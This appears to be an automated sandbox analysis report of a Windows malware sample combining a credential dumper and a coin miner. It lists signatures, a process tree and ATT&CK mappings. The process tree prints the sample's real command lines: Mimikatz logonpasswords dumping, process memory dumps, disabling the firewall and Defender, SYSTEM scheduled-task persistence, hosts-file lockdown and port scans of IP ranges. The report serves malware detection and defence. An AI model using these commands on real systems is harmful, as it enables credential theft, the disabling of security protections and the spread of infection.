Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
21/10/2026, 12:33
General
- Target 2026-10-20_f1b5bf7034a40a5df7fa59ce2c7d7663_amadey_cloudeye_coinminer_dragonforce_elex_emotet_glassw.exe
- Size 8.4MB
- Sample261021-prcjasft4p
- SHA256 54f83740774818e3ab7fcfe1bca6d6a783d9fa5d748cf214882bf1ee900303b1
Score
10/10
Malware Config
Signatures
- Family: Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs
- mimikatz is an open source tool to dump credentials on Windows 5 IoCs
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
- UPX dump on OEP (original entry point) 39 IoCs
- XMRig Miner payload 12 IoCs
- Drops file in Drivers directory 3 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Disables service(s) 3 TTPs
- Executes dropped EXE 29 IoCs
- Loads dropped DLL 12 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Creates a Windows Service
- Drops file in System32 directory 17 IoCs
- UPX packed file 35 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 3 IoCs
- Drops file in Windows directory 58 IoCs
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 26 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- NSIS installer 3 IoCs
- Modifies data under HKEY_USERS 39 IoCs
- Modifies registry class 14 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 15 IoCs
- Suspicious behavior: RenamesItself 1 IoCs
- Suspicious use of AdjustPrivilegeToken 21 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\rlhlhzegr\nezqyt.exe"C:\Windows\TEMP\rlhlhzegr\nezqyt.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2026-10-20_f1b5bf7034a40a5df7fa59ce2c7d7663_amadey_cloudeye_coinminer_dragonforce_elex_emotet_glassw.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-20_f1b5bf7034a40a5df7fa59ce2c7d7663_amadey_cloudeye_coinminer_dragonforce_elex_emotet_glassw.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\bprezqyr\emlyipy.exe2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\bprezqyr\emlyipy.exeC:\Windows\bprezqyr\emlyipy.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\bprezqyr\emlyipy.exeC:\Windows\bprezqyr\emlyipy.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\kccqzzreu\qeisqzgbl\wpcap.exe /S2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\kccqzzreu\qeisqzgbl\wpcap.exeC:\Windows\kccqzzreu\qeisqzgbl\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\kccqzzreu\qeisqzgbl\epsqqhbym.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kccqzzreu\qeisqzgbl\Scant.txt2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\kccqzzreu\qeisqzgbl\epsqqhbym.exeC:\Windows\kccqzzreu\qeisqzgbl\epsqqhbym.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kccqzzreu\qeisqzgbl\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\kccqzzreu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\kccqzzreu\Corporate\log.txt2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\kccqzzreu\Corporate\vfshost.exeC:\Windows\kccqzzreu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gryiukywe" /ru system /tr "cmd /c C:\Windows\ime\emlyipy.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "gryiukywe" /ru system /tr "cmd /c C:\Windows\ime\emlyipy.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "kplyreegq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bprezqyr\emlyipy.exe /p everyone:F"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "kplyreegq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bprezqyr\emlyipy.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "rclqyzcqm" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\rlhlhzegr\nezqyt.exe /p everyone:F"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "rclqyzcqm" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\rlhlhzegr\nezqyt.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 996 C:\Windows\TEMP\kccqzzreu\996.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\kccqzzreu\qeisqzgbl\scan.bat2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\kccqzzreu\qeisqzgbl\nltbrqgzr.exenltbrqgzr.exe TCP 85.203.0.1 445 512 /save3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
C:\Windows\kccqzzreu\qeisqzgbl\nltbrqgzr.exenltbrqgzr.exe TCP 85.203.255.255 445 512 /save3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\kccqzzreu\qeisqzgbl\nltbrqgzr.exenltbrqgzr.exe TCP 10.127.0.1 10.127.255.255 445 512 /save3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 1012 C:\Windows\TEMP\kccqzzreu\1012.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 1192 C:\Windows\TEMP\kccqzzreu\1192.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 2792 C:\Windows\TEMP\kccqzzreu\2792.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 3492 C:\Windows\TEMP\kccqzzreu\3492.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 4380 C:\Windows\TEMP\kccqzzreu\4380.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 4812 C:\Windows\TEMP\kccqzzreu\4812.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 4184 C:\Windows\TEMP\kccqzzreu\4184.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 5156 C:\Windows\TEMP\kccqzzreu\5156.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 5192 C:\Windows\TEMP\kccqzzreu\5192.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 3540 C:\Windows\TEMP\kccqzzreu\3540.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 1168 C:\Windows\TEMP\kccqzzreu\1168.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 4524 C:\Windows\TEMP\kccqzzreu\4524.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 5084 C:\Windows\TEMP\kccqzzreu\5084.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\kccqzzreu\eecccclly.exeC:\Windows\TEMP\kccqzzreu\eecccclly.exe -accepteula -mp 4120 C:\Windows\TEMP\kccqzzreu\4120.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\system32\drivers\npf.syssystem32\drivers\npf.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.execmd1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\SysWOW64\lqvjqa.exeC:\Windows\SysWOW64\lqvjqa.exe1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c echo Y|cacls C:\Windows\bprezqyr\emlyipy.exe /p everyone:F1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\System32\cacls.execacls C:\Windows\bprezqyr\emlyipy.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c echo Y|cacls C:\Windows\TEMP\rlhlhzegr\nezqyt.exe /p everyone:F1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\System32\cacls.execacls C:\Windows\TEMP\rlhlhzegr\nezqyt.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c C:\Windows\ime\emlyipy.exe1⤵
- Executes a command shell one-liner
-
C:\Windows\ime\emlyipy.exeC:\Windows\ime\emlyipy.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c echo Y|cacls C:\Windows\bprezqyr\emlyipy.exe /p everyone:F1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\System32\cacls.execacls C:\Windows\bprezqyr\emlyipy.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c echo Y|cacls C:\Windows\TEMP\rlhlhzegr\nezqyt.exe /p everyone:F1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\System32\cacls.execacls C:\Windows\TEMP\rlhlhzegr\nezqyt.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c C:\Windows\ime\emlyipy.exe1⤵
- Executes a command shell one-liner
-
C:\Windows\ime\emlyipy.exeC:\Windows\ime\emlyipy.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Access Token Manipulation
1Parent PID Spoofing
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Access Token Manipulation
1Parent PID Spoofing
1Impair Defenses
1Disable or Modify System Firewall
1Discovery
Network Service Discovery
1Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
3Internet Connection Discovery
2Replay Monitor
Loading Replay Monitor...
Downloads
Packet.dll
wpcap.dll
npf.sys
1012.dmp
1168.dmp
2792.dmp
3492.dmp
3540.dmp
4184.dmp
4380.dmp
4812.dmp
5156.dmp
5192.dmp
996.dmp
config.json
eecccclly.exe
System.dll
nsExec.dll
nezqyt.exe
xohudmc.exe
docmicfg.xml
emlyipy.exe
schoedcl.xml
spoolsrv.xml
svschost.xml
vimpcsvc.xml
vfshost.exe
epsqqhbym.exe
ip.txt
nltbrqgzr.exe
scan.bat
wpcap.exe
hosts
memory/824-182-0x00007FF636800000-0x00007FF63685B000-memory.dmp
memory/1308-169-0x0000000000400000-0x0000000000412000-memory.dmp
memory/1308-154-0x0000000010000000-0x0000000010008000-memory.dmp
memory/1528-68-0x00000000013A0000-0x00000000013EC000-memory.dmp
memory/1636-251-0x00007FF636800000-0x00007FF63685B000-memory.dmp
memory/1636-258-0x00007FF636800000-0x00007FF63685B000-memory.dmp
memory/1840-203-0x00007FF636800000-0x00007FF63685B000-memory.dmp
